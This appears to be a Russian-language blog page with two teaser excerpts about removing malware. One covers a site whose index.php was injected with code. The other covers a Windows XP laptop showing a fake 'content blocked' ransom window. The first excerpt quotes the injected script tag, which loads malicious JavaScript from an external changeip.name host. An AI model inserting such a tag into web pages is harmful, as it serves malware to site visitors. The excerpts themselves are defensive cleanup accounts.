Вирус на сайте collectnewss() или js с changeip.name

Попросили не так давно посмотреть сайт, помеченный яндексом как опасный, на котором после тегов выводился зловредный код на js

<script src="http://feelthesame.changeip.name/rsize.js"></script>

найти и удалить который удалось лишь после некоторых изысканий и разбора кода самого движка, который видел в первый раз. Все дело оказалось в врезке постороннего кода в файл index.php находящегося в корне сайта. Читать дальше »

Вирус: STOP содержимое сайта заблокировано для разблокировки необходимо пройти процедуру активации

Принесли мне тут ноутбук с Windows XP на борту, с проблемой заключающейся в том, что на всех открываемых в браузере сайтах появляется окно с текстом «содержимое сайта заблокировано для разблокировки необходимо пройти процедуру активации». Не беда подумал я: Читать дальше »